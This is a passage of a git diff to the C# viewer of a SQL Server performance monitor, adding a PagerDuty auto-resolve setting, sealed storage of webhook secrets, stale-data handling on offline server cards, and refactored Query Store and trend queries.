         command.Parameters.Add(new NpgsqlParameter<bool> { TypedValue = row.PagerDutyUseEuRegion });  // $18
         command.Parameters.Add(new NpgsqlParameter<string> { TypedValue = row.PagerDutyProxy ?? "" });  // $19
+        command.Parameters.Add(new NpgsqlParameter<bool> { TypedValue = row.PagerDutyAutoResolve });  // $20
         await ExecuteWriteAsync(command, cancellationToken);
     }
 
@@ -164,6 +165,7 @@ public async Task UpsertNotificationAsync(NotificationRow row, CancellationToken
         PagerDutyRoutingKey = reader.GetString(16),
         PagerDutyUseEuRegion = reader.GetBoolean(17),
         PagerDutyProxy = reader.GetString(18),
+        PagerDutyAutoResolve = reader.GetBoolean(19),
     };
 
     /// <summary>
@@ -196,6 +198,7 @@ public async Task UpsertNotificationAsync(NotificationRow row, CancellationToken
         PagerDutyRoutingKey = "",     /* carved — bearer secret like webhook URLs */
         PagerDutyUseEuRegion = reader.GetBoolean(10),
         PagerDutyProxy = reader.GetString(11),
+        PagerDutyAutoResolve = reader.GetBoolean(12),
     };
 }
 
@@ -204,7 +207,7 @@ public async Task UpsertNotificationAsync(NotificationRow row, CancellationToken
 /// the desired-state twin of the service's <c>SmtpConfig</c> + <c>WebhooksConfig</c>. There is no per-channel
 /// "enabled" column (the service derives enablement from non-empty fields: SMTP from host+from+to, a webhook
 /// from its URL); the Settings window maps its enable toggles onto that by clearing the channel's fields when
-/// unchecked. <see cref="SmtpEncryptedPassword"/> is a DPAPI-LocalMachine blob, never plaintext. Defaults
+/// unchecked. <see cref="SmtpEncryptedPassword"/> is a sealed value (or one saved before sealing), never plaintext. Defaults
 /// mirror the V17 DDL so <see cref="Defaults"/> equals a freshly-seeded row.
 /// </summary>
 public sealed class NotificationRow
@@ -214,7 +217,7 @@ public sealed class NotificationRow
     public bool SmtpUseSsl { get; set; } = true;
     public string? SmtpUsername { get; set; }
 
-    /// <summary>DPAPI-LocalMachine base64 blob (<see cref="ViewerServerSecret.Protect"/>), or null when unset.</summary>
+    /// <summary>The sealed SMTP password (<see cref="ViewerPasswordSealer.SealSmtp"/>), a value saved before sealing, or null when unset.</summary>
     public string? SmtpEncryptedPassword { get; set; }
 
     public string SmtpFromAddress { get; set; } = "";
@@ -238,6 +241,10 @@ viewer role alongside the webhook URLs. */
     public bool PagerDutyUseEuRegion { get; set; }
     public string PagerDutyProxy { get; set; } = "";
 
+    /* PagerDuty auto-resolve (V166): the lifecycle a closing edge rides. Non-secret — a behaviour toggle,
+       so it stays in the read-only roles' grants. */
+    public bool PagerDutyAutoResolve { get; set; }
+
     /// <summary>A row equal to the V17 seed defaults — the migrate-in "is the service section still at defaults?" baseline.</summary>
     public static NotificationRow Defaults() => new();
 
@@ -264,6 +271,7 @@ public bool ValueEquals(NotificationRow other)
             && string.Equals(GenericProxy, other.GenericProxy, StringComparison.Ordinal)
             && string.Equals(PagerDutyRoutingKey, other.PagerDutyRoutingKey, StringComparison.Ordinal)
             && PagerDutyUseEuRegion == other.PagerDutyUseEuRegion
-            && PagerDutyProxy == other.PagerDutyProxy;
+            && PagerDutyProxy == other.PagerDutyProxy
+            && PagerDutyAutoResolve == other.PagerDutyAutoResolve;
     }
 }
diff --git a/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.NotificationRoutes.cs b/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.NotificationRoutes.cs
index 62071868c4..d7eb357236 100644
--- a/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.NotificationRoutes.cs
+++ b/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.NotificationRoutes.cs
@@ -128,6 +128,67 @@ public async Task UpdateNotificationRouteAsync(NotificationRouteRow row, Cancell
         await ExecuteWriteAsync(command, cancellationToken);
     }
 
+    /// <summary>
+    /// Saves a route with its webhook destinations sealed (#5366) and returns its <c>route_id</c>. A new route is inserted with
+    /// every destination empty to get its id, because a sealed value is bound to the row it is stored in, then updated with the
+    /// sealed values, in one transaction: a refusal rolls the insert back. <paramref name="stored"/> is the row as read, for the
+    /// values a blank box keeps; <paramref name="parent"/> is the settings row, which holds each channel's proxy.
+    /// </summary>
+    public async Task<int> SaveNotificationRouteSealedAsync(
+        NotificationRouteRow typed, NotificationRouteRow? stored, NotificationRow parent, ViewerPasswordSealer? sealer,
+        string? refusal, CancellationToken cancellationToken = default)
+    {
+        ArgumentNullException.ThrowIfNull(typed);
+        ArgumentNullException.ThrowIfNull(parent);
+
+        await using var connection = await _dataSource.OpenConnectionAsync(cancellationToken);
+        await using var transaction = await connection.BeginTransactionAsync(cancellationToken);
+        try
+        {
+            var routeId = typed.RouteId;
+            if (routeId == 0)
+            {
+                await using var insert = new NpgsqlCommand(NotificationRouteInsertSql, connection, transaction);
+                insert.CommandTimeout = ViewerCommandDeadlines.CurrentInteractiveReadSeconds;
+                insert.Parameters.Add(new NpgsqlParameter<string> { TypedValue = typed.MetricMatch.Trim() });
+                for (var i = 0; i < 5; i++)
+                {
+                    insert.Parameters.Add(new NpgsqlParameter<string> { TypedValue = "" });
+                }
+
+                insert.Parameters.Add(new NpgsqlParameter<bool> { TypedValue = typed.Enabled });
+                routeId = Convert.ToInt32(await insert.ExecuteScalarAsync(cancellationToken), System.Globalization.CultureInfo.InvariantCulture);
+            }
+
+            var resolved = typed.Clone();
+            resolved.RouteId = routeId;
+            ViewerWebhookSealing.ResolveRoute(resolved, stored, parent, routeId, sealer, refusal);
+            ValidateRoute(resolved);
+
+            await using var update = new NpgsqlCommand(NotificationRouteUpdateSql, connection, transaction);
+            update.CommandTimeout = ViewerCommandDeadlines.CurrentInteractiveReadSeconds;
+            update.Parameters.Add(new NpgsqlParameter<int> { TypedValue = routeId });                          // $1
+            update.Parameters.Add(new NpgsqlParameter<string> { TypedValue = resolved.MetricMatch.Trim() });    // $2
+            update.Parameters.Add(new NpgsqlParameter<string> { TypedValue = resolved.TeamsUrl });              // $3
+            update.Parameters.Add(new NpgsqlParameter<string> { TypedValue = resolved.SlackUrl });              // $4
+            update.Parameters.Add(new NpgsqlParameter<string> { TypedValue = resolved.GenericUrl });            // $5
+            update.Parameters.Add(new NpgsqlParameter<string> { TypedValue = resolved.PagerDutyRoutingKey });   // $6
+            update.Parameters.Add(new NpgsqlParameter<string> { TypedValue = resolved.SmtpRecipients.Trim() }); // $7
+            update.Parameters.Add(new NpgsqlParameter<bool> { TypedValue = resolved.Enabled });                 // $8
+            await update.ExecuteNonQueryAsync(cancellationToken);
+            await transaction.CommitAsync(cancellationToken);
+            return routeId;
+        }
+        catch (PostgresException ex) when (ex.SqlState == InsufficientPrivilegeSqlState)
+        {
+            throw new ViewerReadOnlyException(ex);
+        }
+        catch (PostgresException ex) when (ex.SqlState is UndefinedColumnSqlState or UndefinedTableSqlState)
+        {
+            throw new ViewerSchemaSkewException(ex);
+        }
+    }
+
     public async Task SetNotificationRouteEnabledAsync(int routeId, bool enabled, CancellationToken cancellationToken = default)
     {
         await using var command = _dataSource.CreateCommand(NotificationRouteSetEnabledSql);
@@ -246,7 +307,7 @@ public sealed class NotificationRouteRow
     /// hour (<see cref="ViewerTimeHelper.FormatForDisplay(DateTime, string)"/>). This used to be the machine's local
     /// time in every mode. Empty for a route that has not been stored yet.
     /// </summary>
-    public string ModifiedDisplay => ModifiedAtUtc == default ? "" : ViewerTimeHelper.FormatForDisplay(ModifiedAtUtc, "g");
+    public string ModifiedDisplay => ModifiedAtUtc == default ? "" : ViewerTimeHelper.FormatForDisplay(ModifiedAtUtc, "yyyy-MM-dd HH:mm:ss");
 
     public NotificationRouteRow Clone() => new()
     {
diff --git a/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.Overview.cs b/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.Overview.cs
index 0ada55a1e5..58ab9675b8 100644
--- a/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.Overview.cs
+++ b/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.Overview.cs
@@ -16,6 +16,7 @@
 using Npgsql;
 using PerformanceMonitor.Collectors;
 using PerformanceMonitor.Common;
+using PerformanceMonitor.Ui;
 using PerformanceMonitor.Darling.Storage;
 
 namespace PerformanceMonitor.Darling.Viewer;
@@ -674,6 +675,11 @@ public sealed class ServerSummaryItem
     private static readonly SolidColorBrush s_unknownBrush = MakeBrush("#888888");
 
     public string DisplayName { get; set; } = "";
+
+    /// <summary>What a screen reader announces for an Overview card: UI Automation names a list item by its text, and the default text is
+    /// the type name ("PerformanceMonitor.Darling.Viewer.ServerSummaryItem").</summary>
+    public override string ToString() => DisplayName;
+
     public string ServerName { get; set; } = "";
     public int ServerId { get; set; }
     public bool? IsOnline { get; set; }
@@ -909,7 +915,7 @@ public string CpuDisplay
     {
         get
         {
-            if (!TotalCpuPercent.HasValue) return "--";
+            if (!TotalCpuPercent.HasValue || IsOffline) return "--";
 
             /* #3281: on the Performance Insights arm the headline is percent of the capacity CURRENTLY
                ALLOCATED, which is NOT the figure the band read — so the figure that did is shown beside
@@ -930,11 +936,24 @@ broken. The headline stays the raw reading because it answers a real question. *
     /// serverless target (#3281 — "ACU 33% of 12 configured", the sentence that makes a green 100%
     /// headline make sense), else the non-SQL host CPU (the Dashboard's CPU detail), when known.</summary>
     public string CpuDetail =>
-        AcuUtilizationPercent.HasValue && MaxConfiguredAcu.HasValue
+        IsOffline ? StaleDetail
+        : AcuUtilizationPercent.HasValue && MaxConfiguredAcu.HasValue
             ? $"ACU {AcuUtilizationPercent:F0}% of {MaxConfiguredAcu:0.#} configured"
             : OtherProcessCpuPercent.HasValue ? $"Other: {OtherProcessCpuPercent:F0}%" : "";
 
-    public string MemoryDisplay => MemoryMb.HasValue ? $"{MemoryMb / 1024.0:F1} GB" : "--";
+    public string MemoryDisplay => MemoryMb.HasValue && !IsOffline ? $"{MemoryMb / 1024.0:F1} GB" : "--";
+
+    /// <summary>
+    /// #5489, the twin of the web fleet card's stale chips: the detail an Offline card's measurement rows
+    /// carry in place of a reading. A server whose newest collection is past the fleet's offline mark has no
+    /// CURRENT value, only the last one collected, days ago; "0% CPU" and a calm memory row off a 12-day-old
+    /// sample read as live health. Those rows read "--" in the neutral tone, and this says when it was last
+    /// collected.
+    /// </summary>
+    public string StaleDetail =>
+        LastCollectionTime.HasValue
+            ? "last collected " + FormatMinutesAgo(Math.Max(0, (int)(DateTime.UtcNow - LastCollectionTime.Value).TotalMinutes))
+            : "no recent collection";
 
     /// <summary>
     /// The Memory detail: under resource-semaphore pressure it names the pressure (grant waiters, then
@@ -945,6 +964,7 @@ public string MemoryDetail
     {
         get
         {
+            if (IsOffline) return "";
             if (HasMemoryPressure)
             {
                 var parts = new List<string>();
@@ -961,7 +981,7 @@ public string MemoryDetail
         }
     }
 
-    public string BlockingDisplay => BlockingCount > 0 ? BlockingCount.ToString() : "0";
+    public string BlockingDisplay => IsOffline ? "--" : BlockingCount > 0 ? BlockingCount.ToString() : "0";
 
     /// <summary>
     /// The blocking detail (Dashboard's BlockingDetailText): while blocking is present in the window, the
@@ -974,6 +994,7 @@ public string BlockingDetail
     {
         get
         {
+            if (IsOffline) return "";
             if (BlockingCount > 0)
             {
                 var max = $"max: {MaxBlockedSeconds:F0}s";
@@ -990,7 +1011,7 @@ public string BlockingDetail
     /// <summary>The worst blocking wait in the window, in seconds.</summary>
     public double MaxBlockedSeconds => MaxBlockingWaitMs / 1000.0;
 
-    public string DeadlockDisplay => DeadlockCount > 0 ? DeadlockCount.ToString() : "0";
+    public string DeadlockDisplay => IsOffline ? "--" : DeadlockCount > 0 ? DeadlockCount.ToString() : "0";
 
     /// <summary>
     /// The deadlock detail — the banded RATE, then how long since the last deadlock ever ("Last: N ago").
@@ -1005,6 +1026,11 @@ public string DeadlockDetail
     {
         get
         {
+            /* Round-1 L7: an Offline card's Deadlocks value reads "--", so the rate and "Last: N ago" of the old
+               collection must not sit beside it as if they were current (the web fleet card's offline chip also
+               swaps them for the stale sentence). Blocking and Threads already blank their detail here. */
+            if (IsOffline) return "";
+
             var parts = new List<string>(2);
             if (DeadlockRatePerHour.HasValue)
             {
@@ -1025,7 +1051,7 @@ public string ThreadsDisplay
     {
         get
         {
-            if (!TotalThreads.HasValue) return "--";
+            if (!TotalThreads.HasValue || IsOffline) return "--";
             if (RequestsWaitingForThreads > 0) return $"{RequestsWaitingForThreads} starved";
             if (ThreadsWaitingForCpu >= 20) return $"{ThreadsWaitingForCpu} runnable";
             if (TotalThreads.Value > 0 && AvailableThreads < TotalThreads.Value * 0.10) return "Low";
@@ -1035,7 +1061,7 @@ public string ThreadsDisplay
 
     /// <summary>Threads detail — "Available: in/ceiling" (Dashboard's ThreadsDetailText); blank with no snapshot.</summary>
     public string ThreadsDetail =>
-        TotalThreads is > 0 ? $"Available: {AvailableThreads}/{TotalThreads}" : "";
+        IsOffline ? "" : TotalThreads is > 0 ? $"Available: {AvailableThreads}/{TotalThreads}" : "";
 
     /// <summary>
     /// Collectors value — "Stale" when the server is offline, else "N failed" / "OK" (Dashboard's
@@ -1070,9 +1096,21 @@ public string ThreadsDisplay
     /// was collected, and none of it is retained, which is what the row says.</para>
     /// </summary>
     public string LastCollectionDisplay => LastCollectionTime.HasValue
-        ? ViewerTimeHelper.FormatForDisplay(LastCollectionTime.Value, "HH:mm:ss")
+        ? FormatLastCollect(LastCollectionTime.Value, ViewerTimeHelper.CurrentDisplayZone(), DateTime.UtcNow)
         : IsOnline == false ? "None retained" : "Never";
 
+    /// <summary>
+    /// The Last Collect time as the card words it (D4 of the final walk, the twin of Lite's
+    /// <c>FormatLastCollect</c>): <paramref name="lastCollectionUtc"/> (naive UTC) in <paramref name="zone"/>, as
+    /// "HH:mm:ss" when that wall time falls on today's date in the same zone and with its date
+    /// ("yyyy-MM-dd HH:mm:ss") otherwise, so a collection from last week does not read as one from this morning.
+    /// </summary>
+    internal static string FormatLastCollect(DateTime lastCollectionUtc, TimeZoneInfo zone, DateTime nowUtc)
+    {
+        var isToday = DisplayZone.ToDisplay(lastCollectionUtc, zone).Date == DisplayZone.ToDisplay(nowUtc, zone).Date;
+        return ViewerTimeHelper.FormatForDisplay(lastCollectionUtc, zone, isToday ? "HH:mm:ss" : "yyyy-MM-dd HH:mm:ss");
+    }
+
     /* Collection status. The (IsOnline, CollectionStale, AwaitingFirstCollection) triple is resolved by
        ServerCollectionStatusRules.Classify and nowhere else in the viewer — the sidebar row's dot carried its
        own four-state copy until #2473, which is how a never-collected server got a grey "Unknown" dot beside
@@ -1282,14 +1320,16 @@ no difference (#3539). */
 
     // ── Per-metric dot / value brushes ───────────────────────────────────────────────────────────────
 
-    public SolidColorBrush CpuSeverityBrush => SeverityBrush(CpuSeverity);
-    public SolidColorBrush MemorySeverityBrush => SeverityBrush(MemorySeverity);
-    public SolidColorBrush BlockingSeverityBrush => SeverityBrush(BlockingSeverity);
-    public SolidColorBrush DeadlockSeverityBrush => SeverityBrush(DeadlockSeverity);
-    public SolidColorBrush ThreadsSeverityBrush => SeverityBrush(ThreadsSeverity);
+    public SolidColorBrush CpuSeverityBrush => IsOffline ? s_unknownBrush : SeverityBrush(CpuSeverity);
+    public SolidColorBrush MemorySeverityBrush => IsOffline ? s_unknownBrush : SeverityBrush(MemorySeverity);
+    public SolidColorBrush BlockingSeverityBrush => IsOffline ? s_unknownBrush : SeverityBrush(BlockingSeverity);
+    public SolidColorBrush DeadlockSeverityBrush => IsOffline ? s_unknownBrush : SeverityBrush(DeadlockSeverity);
+    public SolidColorBrush ThreadsSeverityBrush => IsOffline ? s_unknownBrush : SeverityBrush(ThreadsSeverity);
     public SolidColorBrush CollectorSeverityBrush => SeverityBrush(CollectorSeverity);
 
-    public bool HasAlerts => BlockingCount > 0 || DeadlockCount > 0;
+    /// <summary>Whether the card has a current blocking or deadlock count to flag. An Offline card has no current data
+    /// (its values read "--"), so the counts of the last collection are not an alert (round-1 L7).</summary>
+    public bool HasAlerts => !IsOffline && (BlockingCount > 0 || DeadlockCount > 0);
 
     /// <summary>
     /// The card border reflects the worst signal: offline (red) &gt; a Critical metric (red) &gt; a Warning
diff --git a/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.OverviewLanes.cs b/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.OverviewLanes.cs
index 334388627c..5e52e2d010 100644
--- a/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.OverviewLanes.cs
+++ b/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.OverviewLanes.cs
@@ -59,45 +59,7 @@ public sealed partial class ViewerDataService
     /// <c>collection_count</c> let the C# reader stamp a bucket that merged nothing at its one collection's
     /// own raw time (ruling item 3) rather than the bucket grid. $4 the bucket width in minutes.</para>
     /// </summary>
-    public static readonly string TotalWaitTrendSql = $"""
-        WITH per_collection AS
-        (
-            SELECT
-                collection_time,
-                SUM(delta_wait_time_ms) AS total_delta_ms,
-                /* #3540: the collection's STORED interval — MAX over its rows, because a wait type first
-                   seen in an otherwise steady pass carries 0 beside its siblings' real interval and adds 0
-                   to the sum; MAX is 0 only when EVERY row was unknowable (a restart), and that 0 becomes
-                   NULL through NULLIF so the point is dropped rather than rendered as 0.00. NULL (pre-V127
-                   rows) falls back to the LAG this read always used. */
-                CASE WHEN MAX(sample_interval_seconds) IS NULL
-                     THEN extract(epoch FROM (date_trunc('second', collection_time) - date_trunc('second', LAG(collection_time) OVER (ORDER BY collection_time))))
-                     ELSE NULLIF(MAX(sample_interval_seconds), 0)
-                END AS interval_seconds
-            FROM v_wait_stats
-            WHERE server_id = $1
-            AND   collection_time >= $2
-            AND   collection_time <= $3
-            GROUP BY collection_time
-        ),
-        rated AS
-        (
-            SELECT
-                collection_time,
-                CASE WHEN interval_seconds > 0 THEN total_delta_ms END AS rated_delta_ms,
-                CASE WHEN interval_seconds > 0 THEN interval_seconds END AS rated_seconds
-            FROM per_collection
-        )
-        SELECT
-            GREATEST(date_bin(CAST($4 AS integer) * INTERVAL '1 minute', collection_time, {TrendBucketSql.OriginSql}), $2) AS bucket_start,
-            CAST(SUM(rated_delta_ms) AS double precision) / SUM(rated_seconds) AS wait_time_ms_per_second,
-            MIN(collection_time) AS first_collection_time,
-            COUNT(*) AS collection_count
-        FROM rated
-        GROUP BY 1
-        HAVING COUNT(rated_seconds) > 0
-        ORDER BY 1
-        """;
+    public static readonly string TotalWaitTrendSql = ServerTrendSql.TotalWaits;
 
     /// <summary>
     /// The memory trend — Lite's <c>GetMemoryTrendAsync</c> ported to Postgres. Reads the four MB metrics
diff --git a/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.PasswordKey.cs b/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.PasswordKey.cs
new file mode 100644
index 0000000000..fbc82350dd
--- /dev/null
+++ b/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.PasswordKey.cs
@@ -0,0 +1,33 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System.Threading;
+using System.Threading.Tasks;
+using PerformanceMonitor.Darling.Storage;
+
+namespace PerformanceMonitor.Darling.Viewer;
+
+/// <summary>
+/// The viewer's read of the key the service publishes for sealing secrets (V165, #5366): the current public key and
+/// the newest service state row. Read-only; the key tables are written by the store owner alone.
+/// </summary>
+public sealed partial class ViewerDataService
+{
+    /// <summary>
+    /// Reads the published password key and the newest service state row over one pooled connection. Either part is
+    /// null when the store holds no such row; both are null on a store the service has not started against. A store
+    /// below V165 has no tables, which surfaces as the store's own error, so callers check the schema version first.
+    /// </summary>
+    public async Task<(PublishedPasswordKey? Key, PasswordKeyServiceState? State)> GetPublishedPasswordKeyAsync(CancellationToken ct = default)
+    {
+        await using var connection = await _dataSource.OpenConnectionAsync(ct);
+        var key = await PasswordKeyTables.ReadCurrentAsync(connection, ct);
+        var state = await PasswordKeyTables.ReadNewestServiceStateAsync(connection, ct);
+        return (key, state);
+    }
+}
diff --git a/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.PlanCache.cs b/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.PlanCache.cs
index 4bfb30cc23..85f21e29f0 100644
--- a/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.PlanCache.cs
+++ b/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.PlanCache.cs
@@ -43,7 +43,7 @@ public sealed record PlanCacheSnapshotRow(
 /// the oldest cached plan's create time — matching the Dashboard, which computes these over the full latest
 /// snapshot. <see cref="SingleUsePlans"/> feeds the derived bloat-level badge
 /// (<see cref="ViewerDataService.ClassifyPlanCacheBloat"/>).</summary>
-public sealed record PlanCacheSummary(long TotalPlans, long SingleUsePlans, DateTime? OldestPlanCreateTime);
+public sealed record PlanCacheSummary(long TotalPlans, long SingleUsePlans, DateTime? OldestPlanCreateTime, DateTime? CollectionTime = null);
 
 /// <summary>The plan-cache bloat classification for the summary badge: the banded severity level plus the
 /// paired recommendation, mirroring install/47's report.plan_cache_bloat.</summary>
@@ -64,29 +64,7 @@ public sealed partial class ViewerDataService
     /// nothing at its one collection's own raw time (ruling item 3). $1 server_id, $2 window start, $3
     /// window end (all naive UTC), $4 the bucket width in minutes.
     /// </summary>
-    public static readonly string PlanCacheTrendSql = $"""
-        WITH per_collection AS
-        (
-            SELECT
-                collection_time,
-                CAST(SUM(single_use_size_mb) AS double precision) AS single_use_mb,
-                CAST(SUM(multi_use_size_mb) AS double precision) AS multi_use_mb
-            FROM v_plan_cache_stats
-            WHERE server_id = $1
-            AND   collection_time >= $2
-            AND   collection_time <= $3
-            GROUP BY collection_time
-        )
-        SELECT
-            GREATEST(date_bin(CAST($4 AS integer) * INTERVAL '1 minute', collection_time, {TrendBucketSql.OriginSql}), $2) AS bucket_start,
-            AVG(single_use_mb) AS single_use_mb,
-            AVG(multi_use_mb) AS multi_use_mb,
-            MIN(collection_time) AS first_collection_time,
-            COUNT(*) AS collection_count
-        FROM per_collection
-        GROUP BY 1
-        ORDER BY 1
-        """;
+    public static readonly string PlanCacheTrendSql = ServerTrendSql.PlanCache;
 
     /// <summary>
     /// The Plan Cache latest-snapshot composition read: every (cacheobjtype, objtype) group captured at
@@ -141,7 +119,8 @@ FROM v_plan_cache_stats
         SELECT
             COALESCE(SUM(total_plans), 0) AS total_plans,
             COALESCE(SUM(single_use_plans), 0) AS single_use_plans,
-            MIN(oldest_plan_create_time) AS oldest_plan_create_time
+            MIN(oldest_plan_create_time) AS oldest_plan_create_time,
+            MAX(collection_time) AS collection_time
         FROM v_plan_cache_stats
         WHERE server_id = $1
         AND   collection_time = (SELECT mx FROM latest)
@@ -266,6 +245,7 @@ public async Task<PlanCacheSummary> GetPlanCacheSummaryAsync(
         return new PlanCacheSummary(
             reader.IsDBNull(0) ? 0 : reader.GetInt64(0),
             reader.IsDBNull(1) ? 0 : reader.GetInt64(1),
-            reader.IsDBNull(2) ? null : reader.GetDateTime(2));
+            reader.IsDBNull(2) ? null : reader.GetDateTime(2),
+            reader.IsDBNull(3) ? null : reader.GetDateTime(3));
     }
 }
diff --git a/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.PlanCorrection.cs b/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.PlanCorrection.cs
index 151676d9a5..b0f63ff271 100644
--- a/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.PlanCorrection.cs
+++ b/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.PlanCorrection.cs
@@ -11,6 +11,7 @@
 using System.Threading;
 using System.Threading.Tasks;
 using Npgsql;
+using PerformanceMonitor.Darling.Storage;
 
 namespace PerformanceMonitor.Darling.Viewer;
 
@@ -92,6 +93,22 @@ FROM plan_correction
         ORDER BY database_name
         """;
 
+    /// <summary>The grid's row cap: the newest 200 recommendations by collection time. <see cref="PlanCorrectionsSql"/>'s LIMIT is the same number.</summary>
+    public const int PlanCorrectionsRowCap = 200;
+
+    /// <summary>
+    /// Where this server's plan_correction coverage starts for the window (#4966), through the shared probe
+    /// (<see cref="DataWindowFloor"/>): the later of its first collection and the table's retention edge, or its first row in
+    /// the window if that is earlier. The grid windows on <c>collection_time</c> and shows it, the probe's own column, so every
+    /// row it shows was collected at or after this start. The collector re-captures every open recommendation on each cycle, so
+    /// a few recommendations fill <see cref="PlanCorrectionsRowCap"/> within hours and a wide range is answered from its newest
+    /// hours: the caller names the oldest row when the read hit that cap (<see cref="ViewerEventDataStart.ReadHitCap"/>), whatever
+    /// the store covers. Null when the window holds no row and no logged run, and when it lies wholly before the coverage.
+    /// </summary>
+    public Task<DateTime?> GetPlanCorrectionsDataStartAsync(int serverId, DateTime startUtc, DateTime endUtc, CancellationToken cancellationToken = default) =>
+        DataWindowFloor.GetForServerAsync(_dataSource, DataWindowFloor.Source.ForCollectorTable("plan_correction"), serverId, startUtc, endUtc,
+            ViewerCommandDeadlines.CurrentInteractiveReadSeconds, cancellationToken);
+
     /// <summary>Automatic plan correction recommendations over the window (Plan Corrections grid).</summary>
     public async Task<List<PlanCorrectionRow>> GetPlanCorrectionsAsync(
         int serverId, DateTime startUtc, DateTime endUtc, IReadOnlyList<string>? databaseNames = null, CancellationToken cancellationToken = default)
diff --git a/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.Plans.cs b/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.Plans.cs
index 483a240aff..4f87653a5b 100644
--- a/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.Plans.cs
+++ b/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.Plans.cs
@@ -107,12 +107,59 @@ LIMIT 1
         """;
 
     /// <summary>
-    /// The stored Query Store execution plan for a grid row, or null when no plan text was captured for
-    /// that (database, query_id, plan_id). Query Store already stores plans as ShowPlanXML text.
+    /// The Query Store plan for ONE plan_id as it is stored since #2210: the fact rows carry no plan text (the
+    /// collector ships a NULL placeholder), and a plan lives ONCE in <c>query_plan_dim</c>, reached through
+    /// <c>collect.query_store_plan_map</c> on its primary key (server_id, database_name, plan_id). Two index
+    /// lookups, no fact-table scan: a plan_id belongs to exactly one query_id in its database, so the fact
+    /// table adds nothing once the plan_id is known.
+    /// <para>
+    /// The dimension join is a LEFT join on purpose, so the read distinguishes the two ways of coming back
+    /// empty. NO row means the map has never heard of the plan (a pre-cutover plan, or one not yet fetched),
+    /// and the caller falls back to the inline column. A row whose columns are NULL means the map knows the
+    /// plan and has nothing to show: a NULL digest is the content-less marker for a plan the engine could
+    /// not persist, and a digest whose dimension row the dimension GC removed reads the same. That plan is
+    /// absent, and the inline column is not asked, because a post-cutover plan has nothing there.
+    /// </para>
+    /// The dimension row carries text, gzip bytes or (for the oldest rows) text only, so both columns come
+    /// back and the C# side resolves text-else-gz. $1 server_id, $2 database_name, $3 plan_id.
+    /// </summary>
+    public const string QueryStorePlanViaMapSql = """
+        SELECT d.query_plan_xml, d.query_plan_gz
+        FROM collect.query_store_plan_map AS m
+        LEFT JOIN query_plan_dim AS d
+          ON d.digest = m.digest
+        WHERE m.server_id = $1
+        AND   m.database_name = $2
+        AND   m.plan_id = $3
+        """;
+
+    /// <summary>
+    /// The stored Query Store execution plan for a grid row, or null when none was captured for that
+    /// (database, query_id, plan_id). Since #2210 the plan lives in <c>query_plan_dim</c> behind
+    /// <c>collect.query_store_plan_map</c> (<see cref="QueryStorePlanViaMapSql"/>), read by the map's primary
+    /// key. Rows written before that carry the text inline (<see cref="QueryStorePlanTextSql"/>), and that
+    /// column is read ONLY when the map has no row for the plan_id: a map row without content (a NULL-digest
+    /// marker, or a digest whose dimension row is gone) is absent, with no second look.
     /// </summary>
     public async Task<string?> GetQueryStorePlanTextAsync(
         int serverId, string databaseName, long queryId, long planId, CancellationToken cancellationToken = default)
     {
+        await using (var viaMap = _dataSource.CreateCommand(QueryStorePlanViaMapSql))
+        {
+            viaMap.CommandTimeout = ViewerCommandDeadlines.CurrentInteractiveReadSeconds;
+            viaMap.Parameters.Add(new NpgsqlParameter<int> { TypedValue = serverId });
+            viaMap.Parameters.Add(new NpgsqlParameter<string> { TypedValue = databaseName ?? "" });
+            viaMap.Parameters.Add(new NpgsqlParameter<long> { TypedValue = planId });
+            await using var reader = await viaMap.ExecuteReaderAsync(cancellationToken);
+            if (await reader.ReadAsync(cancellationToken))
+            {
+                /* The map knows this plan_id: whatever it holds is the answer, including nothing. */
+                return PayloadDimensions.ResolveContent(
+                    reader.IsDBNull(0) ? null : reader.GetString(0),
+                    reader.IsDBNull(1) ? null : reader.GetFieldValue<byte[]>(1));
+            }
+        }
+
         await using var command = _dataSource.CreateCommand(QueryStorePlanTextSql);
         command.CommandTimeout = ViewerCommandDeadlines.CurrentInteractiveReadSeconds;
         command.Parameters.Add(new NpgsqlParameter<int> { TypedValue = serverId });
diff --git a/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.Postgres.cs b/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.Postgres.cs
index 4fbc57c9b2..962d5b94bb 100644
--- a/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.Postgres.cs
+++ b/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.Postgres.cs
@@ -369,13 +369,32 @@ public async Task<List<PgCpuUtilizationRow>> GetPgCpuUtilizationHistoryAsync(
             .ToList();
     }
 
+    /// <summary>The newest-first row cap of the Activity tab's deadlocks grid (#4966): <see cref="GetPgDeadlocksAsync"/>'s default.</summary>
+    public const int PgDeadlocksRowCap = 100;
+
+    /// <summary>The newest-first row cap of the Activity tab's log-events grid (#4966): <see cref="GetPgLogEventsAsync"/>'s default.</summary>
+    public const int PgLogEventsRowCap = 200;
+
+    /// <summary>
